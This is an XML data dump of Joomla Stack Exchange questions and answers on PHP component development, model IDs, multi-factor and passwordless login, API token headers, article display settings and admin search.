  <row Id="33556" PostTypeId="2" ParentId="33554" CreationDate="2023-12-30T09:20:53.057" Score="3" Body="&lt;p&gt;Joomla provides a string truncating function of its own that provides more options and extra processing than the &lt;code&gt;substr&lt;/code&gt; of PHP.&lt;/p&gt;&#xA;&lt;p&gt;Details of the function can be found in ..\libraries\src\HTML\Helpers\StringHelper.php and more information here, &lt;a href=&quot;https://api.joomla.org/cms-4/classes/Joomla-CMS-HTML-Helpers-StringHelper.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-4/classes/Joomla-CMS-HTML-Helpers-StringHelper.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your code could look something like this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;com-content-category-blog__description category-desc&amp;quot;&amp;gt;&#xA;&amp;lt;?php $str = HTMLHelper::_('content.prepare', Joomla\CMS\HTML\Helpers\StringHelper::truncate($child-&amp;gt;description, 50, true, false), '',  'com_content.category'); &#xA;echo $str;&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or using the example from the answer by Seb as a template...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;com-content-category-blog__description category-desc&amp;quot;&amp;gt;&#xA;&amp;lt;?php $str = HTMLHelper::_('content.prepare', $child-&amp;gt;description, '',  'com_content.category'); &#xA;$str = Joomla\CMS\HTML\Helpers\StringHelper::truncate($str, 50, true, false);&#xA;echo $str;&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You also have the extra functions of Abridge and truncateComplex that provide you with more options.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-12-30T09:20:53.057" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33557" PostTypeId="1" AcceptedAnswerId="33559" CreationDate="2024-01-02T17:05:46.237" Score="0" ViewCount="46" Body="&lt;p&gt;I'm on Joomla 4.3&lt;/p&gt;&#xA;&lt;p&gt;I'm creating a component and a plugin that are meant to work together. The component has a model, and new instances of the model can be saved via the admin interface, but can also be created via the plugin.&lt;/p&gt;&#xA;&lt;p&gt;Where I'm running in to problems is creating models via the plugin and getting back the ID of the newly created model / DB row.&lt;/p&gt;&#xA;&lt;p&gt;My relevant plugin code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = Factory::getApplication()-&amp;gt;bootComponent('com_chatlinks')&#xA;    -&amp;gt;getMVCFactory()&#xA;    -&amp;gt;createModel('Chatlink', 'Administrator');&#xA;$user = $new-&amp;gt;getBuyer();&#xA;$data = array(&#xA;    'id' =&amp;gt; 0,&#xA;    'user_id' =&amp;gt; $user-&amp;gt;id,&#xA;);&#xA;&#xA;if ($model-&amp;gt;save($data)) {&#xA;    $newId = $model-&amp;gt;getState('chatlink.id');&#xA;    $otherId = $model-&amp;gt;getItem()-&amp;gt;get('id');&#xA;    Log::add('*** New Sub Model ID:' . ' ' . $newId . ' || other ID: '. $otherId, Log::INFO, 'chatlinks');&#xA;} else {&#xA;    $error = $model-&amp;gt;getError();&#xA;    Log::add('*** New Sub ERROR' . ' ' . $error, Log::INFO, 'chatlinks');&#xA;    // Handle the error&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This code works, all the data shows up in the database as expected, however the ID variables in the Log statement are set to 1, even though the actual ID in the DB is not 1 (it's auto-incrementing):&#xA;&lt;code&gt;2024-01-02T15:52:53+00:00  INFO 24.80.19.210   chatlinks   *** New Sub Model ID: 1 || other ID: 1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, I discovered that if I add a Log statement to the part of the Joomla codebase responsible for actually setting &lt;code&gt;'chatlink.id'&lt;/code&gt; (/libraries/src/MVC/Model/AdminModel.php):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($table-&amp;gt;$key)) {&#xA;  Log::add('base model isset: ' . $this-&amp;gt;getName() . ' | ' . $table-&amp;gt;$key . ' | ' . $this-&amp;gt;getState($this-&amp;gt;getName() . '.id'), Log::INFO, 'chatlinker');&#xA;  $this-&amp;gt;setState($this-&amp;gt;getName() . '.id', $table-&amp;gt;$key);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then my original Log statement in the plugin magically works as I expect it to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2024-01-02T15:51:02+00:00   INFO 24.80.19.210   chatlinker  base model isset: chatlink | 22 | 1&#xA;2024-01-02T15:51:02+00:00   INFO 24.80.19.210   chatlinks   *** New Sub Model ID: 22 || other ID: 22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the only change I'm making. I've tried it several times now, enabling and disabling the Log statement in AdminModel.php and it replicates every time. Everything I'm doing in the Log statement is just reading data, as far as I understand it, so the code in the Log statement shouldn't be creating any changes.&lt;/p&gt;&#xA;&lt;p&gt;I don't understand what's going wrong here, or why adding in a Log statement seems to magically fix it? I'm fairly new to php and joomla so maybe I'm missing something obvious. But just leaving the Log statement in the AdminModel.php file doesn't seem like a good or viable solution long term.&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&#xA;I've narrowed it down the &lt;code&gt;$this-&amp;gt;getState($this-&amp;gt;getName() . '.id')&lt;/code&gt; part of the Log statment in AdminModel.php. The ID in the plugin Log statement will read correctly only if that code is in the Log statement in AdminModel. Without that the IDs always read as 1.&lt;/p&gt;&#xA;" OwnerUserId="17549" LastEditorUserId="17549" LastEditDate="2024-01-02T18:01:11.553" LastActivityDate="2024-01-03T00:12:14.153" Title="Getting ID of newly created model doesn't work" Tags="|joomla-4.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33558" PostTypeId="1" CreationDate="2024-01-02T18:42:23.097" Score="0" ViewCount="41" Body="&lt;p&gt;I'm facing challenges enabling Multi-factor Authentication (MFA) Code by Email for frontend users in Joomla. Despite following the necessary steps and configurations, I encounter persistent issues.&lt;/p&gt;&#xA;&lt;p&gt;Here's a detailed breakdown of the problem:&lt;/p&gt;&#xA;&lt;p&gt;Plugin Activation (001.png and 002.png): I activated the &amp;quot;Authentication Code by Email&amp;quot; option from the plugin list. However, upon navigating to the user details page and accessing the &amp;quot;Multi-factor Authentication&amp;quot; tab, a note message indicates: &amp;quot;Multi-factor Authentication is not enabled&amp;quot; (003.png).&lt;/p&gt;&#xA;&lt;p&gt;Options Configuration (004.png and 005.png): I accessed the &amp;quot;Options&amp;quot; on the user list page and set &amp;quot;Enforce Multi-factor Authentication&amp;quot; to &amp;quot;Registered&amp;quot; users. Subsequently, frontend login attempts resulted in a message displaying: &amp;quot;Multi-factor Authentication is not enabled&amp;quot; (005.png).&lt;/p&gt;&#xA;&lt;p&gt;Despite thorough configuration checks and attempts, the MFA Code by Email doesn't function as expected for frontend users after login.&lt;/p&gt;&#xA;&lt;p&gt;I would highly appreciate any insights, troubleshooting steps, or guidance from the Joomla community on how to effectively enable Multi-factor Authentication via Email for frontend users.&lt;/p&gt;&#xA;&lt;p&gt;My Joomla version 4.4.1 and also tested on joomla 5.1 with the same issue&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jq2Ja.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jq2Ja.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LvJCF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LvJCF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/osNLS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/osNLS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qzTvP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qzTvP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UtYu6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UtYu6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15715" LastActivityDate="2024-03-07T05:11:01.913" Title="Multi-factor Authentication is not enabled issue" Tags="|joomla-4.x|administrator|authentication|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33559" PostTypeId="2" ParentId="33557" CreationDate="2024-01-02T18:47:35.907" Score="0" Body="&lt;p&gt;It looks like you just need to call &lt;code&gt;getState()&lt;/code&gt; before doing &lt;code&gt;setState()&lt;/code&gt;. So I added &lt;code&gt;$model-&amp;gt;getState();&lt;/code&gt; before I called &lt;code&gt;$model-&amp;gt;save($data)&lt;/code&gt; in the plugin code and now the IDs are reading correctly. Seems super janky but apparently this is the expected behavior: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/23611&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/23611&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Maybe this is fixed in Joomla 5.&lt;/p&gt;&#xA;" OwnerUserId="17549" LastActivityDate="2024-01-02T18:47:35.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33560" PostTypeId="2" ParentId="33557" CreationDate="2024-01-03T00:12:14.153" Score="0" Body="&lt;p&gt;Without seeing the code used in your ChatlinkModel it is difficult to be more specific however generally shouldn't need to be using State to pass the value(s) between functions within the current execution.&lt;/p&gt;&#xA;&lt;p&gt;Normally I would expect that the Model would create an object of the Table class and use the &lt;code&gt;save()&lt;/code&gt; method of the Table class to perform the actual save of the data to the table. The Table object would then contain the values just saved, including the new record id, that you can access directly.&lt;/p&gt;&#xA;&lt;p&gt;ChatlinkModel.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use mycomp\Component\Chatlink\Administrator\Table\ChatlinkTable;&#xA;    &#xA;class ChatlinkModel extends AdminModel&#xA;{&#xA;        ...&#xA;    public function save($data)&#xA;    {&#xA;        $this-&amp;gt;chatlink = new ChatLinkTable();&#xA;        $this-&amp;gt;chatlink-&amp;gt;save($data);&#xA;        return $this-&amp;gt;chatlink;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In your pluguin the code would look something like this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = Factory::getApplication()-&amp;gt;bootComponent('com_chatlinks')&#xA;    -&amp;gt;getMVCFactory()&#xA;    -&amp;gt;createModel('Chatlink', 'Administrator');&#xA;...&#xA;);&#xA;&#xA;if ($model-&amp;gt;save($data)) {&#xA;    $newId = $model-&amp;gt;chatlink-&amp;gt;id;&#xA;    ...&#xA;} else {&#xA;    $error = $model-&amp;gt;getError();&#xA;    Log::add('*** New Sub ERROR' . ' ' . $error, Log::INFO, 'chatlinks');&#xA;    // Handle the error&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-01-03T00:12:14.153" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33561" PostTypeId="1" CreationDate="2024-01-03T07:02:27.363" Score="0" ViewCount="32" Body="&lt;p&gt;I have a site that I upgraded from Joomla 2.5 to 3.10.12. The previous site is using &lt;a href=&quot;http://milkdev.com/en/blog/43-multicategories-component-for-joomla25-version-104-released&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multicategories v1.0.4&lt;/a&gt; component, it doesn't work on Joomla 3.10 and there is no update from the Author so I tried to upgrade the component manually.&lt;/p&gt;&#xA;&lt;p&gt;I got it to work until the Control Panel tab: &lt;a href=&quot;http://www.domain.local/administrator/index.php?option=com_multicategories&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.domain.local/administrator/index.php?option=com_multicategories&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2vryf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2vryf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But when I click on Categories, I get the error below: &lt;a href=&quot;http://www.domain.local/administrator/index.php?option=com_multicategories&amp;amp;view=categories&amp;amp;extension=com_multicategories&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.domain.local/administrator/index.php?option=com_multicategories&amp;amp;view=categories&amp;amp;extension=com_multicategories&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;500 Joomla\CMS\Form\Form::getInstance() could not load file&lt;/code&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BvdAN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BvdAN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;File directory: &lt;code&gt;administrator/components/com _multicategories&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j01eh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j01eh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried searching for solutions online but couldn't find much and it does work on me.&lt;/p&gt;&#xA;&lt;p&gt;Any advice on how I can fix this or what is causing the error? thanks&lt;/p&gt;&#xA;" OwnerUserId="17539" LastActivityDate="2024-01-03T07:02:27.363" Title="500 Joomla\CMS\Form\Form::getInstance() could not load file on Multicategories Component" Tags="|joomla-3.x|component|php7|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33562" PostTypeId="1" CreationDate="2024-01-03T14:39:36.143" Score="0" ViewCount="22" Body="&lt;p&gt;I would like to control the display of fields like author, modified date, etc. on a per-article basis in addition to the global options.&lt;/p&gt;&#xA;&lt;p&gt;However, even when I set the options in the article, they do not take effect. &lt;a href=&quot;https://joomla.stackexchange.com/questions/1067/cannot-override-global-article-settings&quot;&gt;This discussion&lt;/a&gt; does provide some insight, but it deals with articles that are accessed through the menu. I am not accessing the articles that way, but rather through a link on another page. I am quite baffled as to how I can get the article options to take effect, rather than having the display use only the global options.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone provide some pointers for solving this problem?&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2024-01-03T19:54:51.183" Title="Article options overridden by global settings" Tags="|joomla-4.x|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33563" PostTypeId="1" CreationDate="2024-01-03T16:34:57.763" Score="1" ViewCount="121" Body="&lt;p&gt;Is there a way to search by date in the Article Manager Administrator?&lt;/p&gt;&#xA;&lt;p&gt;You can search using the text input, but it doesn't allow you to search for dates, only ID, AUTHOR, CONTENT, or a free text.&lt;/p&gt;&#xA;&lt;p&gt;I need to search the articles at the article manager by their dates (created dates), example: I would like to get all the articles from 2021 and exclude all the rest.&lt;/p&gt;&#xA;&lt;p&gt;I'm using Joomla 4.4.1&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="13472" LastEditDate="2024-01-08T08:56:50.937" LastActivityDate="2024-01-08T09:04:55.513" Title="Search by date in Article Manager Administrator" Tags="|joomla-4.x|search|article-manager|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33564" PostTypeId="2" ParentId="33562" CreationDate="2024-01-03T19:54:51.183" Score="2" Body="&lt;p&gt;With the help of &lt;a href=&quot;https://joomla.stackexchange.com/questions/17779/article-settings-priority-global-menu-article?rq=1&quot;&gt;this discussion&lt;/a&gt; I have found the answer.&lt;/p&gt;&#xA;&lt;p&gt;I had a menu item pointing to the article (single article menu item type). When that is the case, the display options under the menu item take precedence over the options set in the article. The menu item was there only for administrative purposes and that is why I missed it.&lt;/p&gt;&#xA;&lt;p&gt;When using menu items for administrative purposes only (like assigning template styles), it's worth remembering that their settings can determine how the article is displayed.&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2024-01-03T19:54:51.183" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33565" PostTypeId="1" CreationDate="2024-01-04T15:01:53.913" Score="0" ViewCount="36" Body="&lt;p&gt;So the &lt;code&gt;X-Joomla-Token&lt;/code&gt; with the API Key is added to the Request Header upon starting a request.&#xA;I have a partner that needs to access the API but is due to his infrastructure not able to add the Token to the Header.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to add the Token to the query params like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.mysite.com/api/index.php/v1/app/service?a=1&amp;amp;X-Joomla-Token=497562347562347562394756475623475634890756&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tested that with Postman, but it seems Joomla is not capable of processing that because i get an 401.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2024-02-03T22:04:50.570" Title="API Token alternative for inside request header" Tags="|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33566" PostTypeId="2" ParentId="33565" CreationDate="2024-01-04T21:06:49.393" Score="0" Body="&lt;p&gt;Sending sensitive data as query parameter is extremely insecure. Token plugin does not and will not support this. If you really need this, you have to write your own API authentication plugin. The principle is the same as standard &lt;a href=&quot;https://docs.joomla.org/J4.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;authentication plugin&lt;/a&gt;, except it belongs to &lt;code&gt;api-authentication&lt;/code&gt; group.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2024-01-04T21:06:49.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33567" PostTypeId="2" ParentId="21736" CreationDate="2024-01-05T16:19:28.763" Score="0" Body="&lt;p&gt;is there a variant of @Webdesigner's solution to fix the problem that URLs with multiple levels still have multiple slashes?&#xA;&lt;a href=&quot;https://www.mydomain.com/level1///level2///level3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mydomain.com/level1///level2///level3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some crawlers still have problems recognizing these slashes.&lt;/p&gt;&#xA;" OwnerUserId="17556" LastActivityDate="2024-01-05T16:19:28.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33568" PostTypeId="1" CreationDate="2024-01-06T00:56:23.077" Score="1" ViewCount="34" Body="&lt;p&gt;After changing the site language to Farsi/Arabic, I still see the numbers in English on my site.&#xA;My font is completely Farsi, but the numbers are displayed in English.&#xA;Please advise that I have to do something special in Joomla 4 so that the numbers are displayed in Farsi/Arabic for me?&lt;/p&gt;&#xA;&lt;p&gt;In fact, I should see the numbers in this way&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hnDn1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnDn1.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But after changing to Farsi/Arabic, I still see English numbers like this&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sdBbd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sdBbd.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15061" LastEditorUserId="15061" LastEditDate="2024-01-06T11:21:28.887" LastActivityDate="2024-01-06T11:21:28.887" Title="Show Arabic/Persian number if choice this number in Joomla" Tags="|php|joomla-4.x|date|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33569" PostTypeId="1" CreationDate="2024-01-06T11:29:21.967" Score="1" ViewCount="64" Body="&lt;p&gt;Is it possible to set up passwordless login on Joomla 5? This &lt;a href=&quot;https://magazine.joomla.org/all-issues/december/passwordless-authentication-for-secure-fast-easy-logins-in-joomla-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;excellent article&lt;/a&gt; by Nicholas Dionysopoulos explains how to do it in Joomla 4. In that case,the user still had to enter his/her username.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 5 it seems to be a bit different. I have enabled fingerprint login from a browser using the &amp;quot;Multi-factor Authentication - Passkeys&amp;quot; plugin, but that offers fingerprint login &lt;strong&gt;in addition&lt;/strong&gt; to the username and password. What I am looking for is the ability to log in using &lt;strong&gt;only&lt;/strong&gt; a fingerprint (i.e. no need to type anything from the keyboard).&lt;/p&gt;&#xA;&lt;p&gt;This system is used by most of the banking apps that I know, and it is very convenient, especially on a mobile phone, where password managers aren't quite as easy to use as on a computer. Since it is used by banking apps, I presume that it's just as secure as a password login. I would like to implement such a system in Joomla.&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2024-01-06T11:29:21.967" Title="Passwordless login on Joomla 5" Tags="|login|joomla-5.x|com-users|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33570" PostTypeId="1" CreationDate="2024-01-07T12:23:46.673" Score="0" ViewCount="53" Body="&lt;p&gt;Use Case:&#xA;I maintain a simple site for a small orchestra. Originally written in Joomla 2010, updated to Joomla 3 in 2016 and now updating to Joomla 4/5. Each concert, the items, conductor, soloists etc. are entered in the Administrator backend using my component com_concert which stores the data in my own tables in the database.&#xA;The site part of the component enables sorting and filtering for displaying past events.&#xA;I have completed the upgrade of the administrator component for inputting the data and the site part for displaying the concert history.&#xA;In the past, someone has edited the front article page manually with the latest concert details, and then added those same details again into the long term database records in the backend.&#xA;All I want to do is to insert the various latest concert details to the front article page so eliminating the need for doubling the task of entering the data.&#xA;The front page needs to be able to be edited manually because for some concerts different images and extra text are needed.&#xA;I think this need probably rules out the use of a form for displaying the latest concert details.&lt;/p&gt;&#xA;&lt;p&gt;Solutions tried:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It looked to me as if using Custom Fields was the right way to go. (see &lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2020/custom-fields-episode-4-a-step-by-step-tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/april-2020/custom-fields-episode-4-a-step-by-step-tutorial&lt;/a&gt;)&#xA;I have succeeded in adding custom fields to the Article and they appear in front of the page text correctly.&#xA;But I want them to appear in various places on the page, within bits of text or next to an image, for example. Currently, the relevant text is simply typed into cells in a table for display purposes.&#xA;Unfortunately, when I set the display option to “Do not automatically display”, they don't appear at all. From other postings, I thought the solution would  be simply to insert the tags {field 1} {field 7} etc. to the locations I wanted, but all I get is the text &amp;quot;{field 1}&amp;quot; appearing, untranslated into a field value.&#xA;Having tried many alternative placings of the tags, I decided to try something else. Sourcerer.&lt;/li&gt;&#xA;&lt;li&gt;Having installed Sourcerer, I can get the tags {Source} code.....{/Source} to work with a simple &amp;lt;?php echo statement. But to put the complete sql code into an article that needs to be editable by an unqualified person looks like a recipe for disaster, and I decided the only acceptable way of doing this within Sourcerer would be to make a simple call to a function within my site component. But after trying as many forms of &amp;quot;include&amp;quot; and function calls as I could think of, I cannot get anything other than an error message saying it cannot find the relevant class.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Question:&#xA;Can anyone tell me either :&#xA;(a)(my preferred solution) the correct syntax (preferably with an example)for placing a custom field in some text in an article?&#xA;or&#xA;(b) (fallback solution) the correct syntax within Sourcerer to call, say, a function in a helper file from my com_concert component?&#xA;or, from the use case description,&#xA;(c) a better way of doing it!&lt;/p&gt;&#xA;" OwnerUserId="17562" LastEditorUserId="17562" LastEditDate="2024-01-07T18:09:28.020" LastActivityDate="2024-02-11T16:07:10.810" Title="Problem inserting Joomla 4/5 Custom Field in Text Article-simple syntax solution?" Tags="|php|joomla-4.x|custom-field|joomla-5.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33571" PostTypeId="2" ParentId="21642" CreationDate="2024-01-08T08:30:57.233" Score="0" Body="&lt;p&gt;I get the feeling that your website is hacked. The first step you can take to see if you can regain access is to restore the Joomla! installation by using the files in full stable installation package that you can download from &lt;a href=&quot;https://downloads.joomla.org/cms/joomla3&quot; rel=&quot;nofollow noreferrer&quot;&gt;the downloads archive for Joomla! 3&lt;/a&gt;. Please keep in mind to download the same version as is currently installed, you don't want to upgrade right away, just restore.&lt;/p&gt;&#xA;&lt;p&gt;Unzip the file and upload everything except for the &amp;quot;installation&amp;quot; directory, because you don't want to get started over with a fresh installation. Use the merge option in your FTP client to make sure the third party extensions will remain.&lt;/p&gt;&#xA;&lt;p&gt;After uploading is complete, check if you can login again. There is a big chance that the malicious code is partially removed, so that you can use the backend again.&lt;/p&gt;&#xA;" OwnerUserId="17340" LastActivityDate="2024-01-08T08:30:57.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33572" PostTypeId="2" ParentId="33551" CreationDate="2024-01-08T08:43:58.517" Score="1" Body="&lt;p&gt;The Rocket Theme Nebulae theme is based on the Gantry 4 framework. That means that you will be able to find the information you are looking for in the Gantry 4 documentation. I has been a while since I worked with this template, but as far as I can remember you can create an override of the layout and configure the positioning.&lt;/p&gt;&#xA;&lt;p&gt;If that is not possible, take a look at this page &lt;a href=&quot;https://docs.gantry.org/gantry4/advanced/creating-a-new-layout&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the Gantry 4 documentation&lt;/a&gt;. It describes how you can override the file &lt;code&gt;body_mainbody.php&lt;/code&gt; and add your own classes to the HTML.&lt;/p&gt;&#xA;&lt;p&gt;NB: Joomla! 3 has reached end-of-life status on 17 August 2023, so you might want to think about upgrading to at least Joomla! 4 to keep your website stable and safe.&lt;/p&gt;&#xA;" OwnerUserId="17340" LastActivityDate="2024-01-08T08:43:58.517" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33573" PostTypeId="2" ParentId="33563" CreationDate="2024-01-08T09:04:55.513" Score="1" Body="&lt;p&gt;Searching on dates is not a default functionality in Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;The only search options that you have is to search for id:, author:, content:, or free text (which is searched for in the title, alias, and note fields). You can see that in the code &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.4-dev/administrator/components/com_content/src/Model/ArticlesModel.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.4-dev/administrator/components/com_content/src/Model/ArticlesModel.php&lt;/a&gt; line 448:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Filter by search in title.&#xA;        $search = $this-&amp;gt;getState('filter.search');&#xA;&#xA;        if (!empty($search)) {&#xA;            if (stripos($search, 'id:') === 0) {&#xA;                $search = (int) substr($search, 3);&#xA;                $query-&amp;gt;where($db-&amp;gt;quoteName('a.id') . ' = :search')&#xA;                    -&amp;gt;bind(':search', $search, ParameterType::INTEGER);&#xA;            } elseif (stripos($search, 'author:') === 0) {&#xA;                $search = '%' . substr($search, 7) . '%';&#xA;                $query-&amp;gt;where('(' . $db-&amp;gt;quoteName('ua.name') . ' LIKE :search1 OR ' . $db-&amp;gt;quoteName('ua.username') . ' LIKE :search2)')&#xA;                    -&amp;gt;bind([':search1', ':search2'], $search);&#xA;            } elseif (stripos($search, 'content:') === 0) {&#xA;                $search = '%' . substr($search, 8) . '%';&#xA;                $query-&amp;gt;where('(' . $db-&amp;gt;quoteName('a.introtext') . ' LIKE :search1 OR ' . $db-&amp;gt;quoteName('a.fulltext') . ' LIKE :search2)')&#xA;                    -&amp;gt;bind([':search1', ':search2'], $search);&#xA;            } else {&#xA;                $search = '%' . str_replace(' ', '%', trim($search)) . '%';&#xA;                $query-&amp;gt;where(&#xA;                    '(' . $db-&amp;gt;quoteName('a.title') . ' LIKE :search1 OR ' . $db-&amp;gt;quoteName('a.alias') . ' LIKE :search2'&#xA;                        . ' OR ' . $db-&amp;gt;quoteName('a.note') . ' LIKE :search3)'&#xA;                )&#xA;                    -&amp;gt;bind([':search1', ':search2', ':search3'], $search);&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A &lt;strong&gt;workaround&lt;/strong&gt; is to &lt;strong&gt;order&lt;/strong&gt; the articles on &lt;strong&gt;date&lt;/strong&gt;. The ordering filter (not the column header) has options to choose to filter on &amp;quot;Created date&amp;quot; or &amp;quot;Modified date&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2024-01-08T09:04:55.513" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
